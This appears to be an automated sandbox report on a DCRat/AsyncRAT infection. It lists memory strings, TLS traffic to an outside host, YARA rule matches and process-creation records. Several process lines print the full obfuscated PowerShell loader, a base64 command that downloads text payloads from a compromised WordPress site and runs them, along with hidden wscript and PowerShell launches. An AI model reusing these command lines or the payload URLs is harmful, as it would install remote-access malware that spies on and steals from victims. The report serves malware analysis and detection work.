Source: powershell.exe, 00000001.00000002.2712472865.000001571315A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C3C91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2089840253.0000027FDB861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC938C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355C9D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0439000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C044C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3100761973.0000013DBC230000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2404669960.0000020A172F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2404669960.0000020A172DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2402946494.0000021F863E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2402946494.0000021F863C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2400633060.000001E127284000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2400633060.000001E12729D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03BE2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03BE18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2808818768.000001C60C1A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2808818768.000001C60C1B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2807757443.000001CFC052D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2807757443.000001CFC051F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2814694674.000002CE3076E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000009.00000002.2137458295.000001355E264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2090885360.00000155C4C04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C09E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C2FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.2351244189.00000155D3D00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C5662000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2089840253.0000027FDD117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2257316904.0000027FEBA14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2257316904.0000027FEB8DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2475466595.000001BCA3A64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95166000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2475466595.000001BCA392E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355E2BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3182605416.000001356CB84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.2089840253.0000027FDCCBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95067000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355DEC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000006.00000002.2089840253.0000027FDCCBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95067000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355DEC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.2090885360.00000155C4FDD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C3EB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0E90000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C09E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CAA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.informacionoportuna.com
Source: powershell.exe, 00000004.00000002.2090885360.00000155C52CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.informacionoportuna.com/wp-content/uploads/2024/
Source: powershell.exe, 00000013.00000002.2417662894.00000240C089E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.informacionoportuna.com/wp-content/uploads/2024/09/dX
Source: powershell.exe, 00000021.00000002.2742802158.000001C03A26A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt
Source: powershell.exe, 00000004.00000002.2090885360.00000155C4058000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C52CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CAA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.informacionoportuna.com/wp-content/uploads/2024/09/pesky.txt

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.85.194:443 -> 192.168.2.5:49719 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR

Source: powershell.exe

Process created: 42

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.155dc4f0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 19.2.powershell.exe.240c0f59258.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 4.2.powershell.exe.155c408daf0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 33.2.powershell.exe.1c03c941ab0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 4.2.powershell.exe.155c5369780.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 0000001A.00000002.2343267450.0000000001509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2534304751.00000155DC4F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000027.00000002.2729558667.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000027.00000002.2794514159.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000001A.00000002.2386589663.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000027.00000002.2794514159.0000000002C53000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 1120, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 3872, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 7484, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript called in batch mode (surpress errors)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
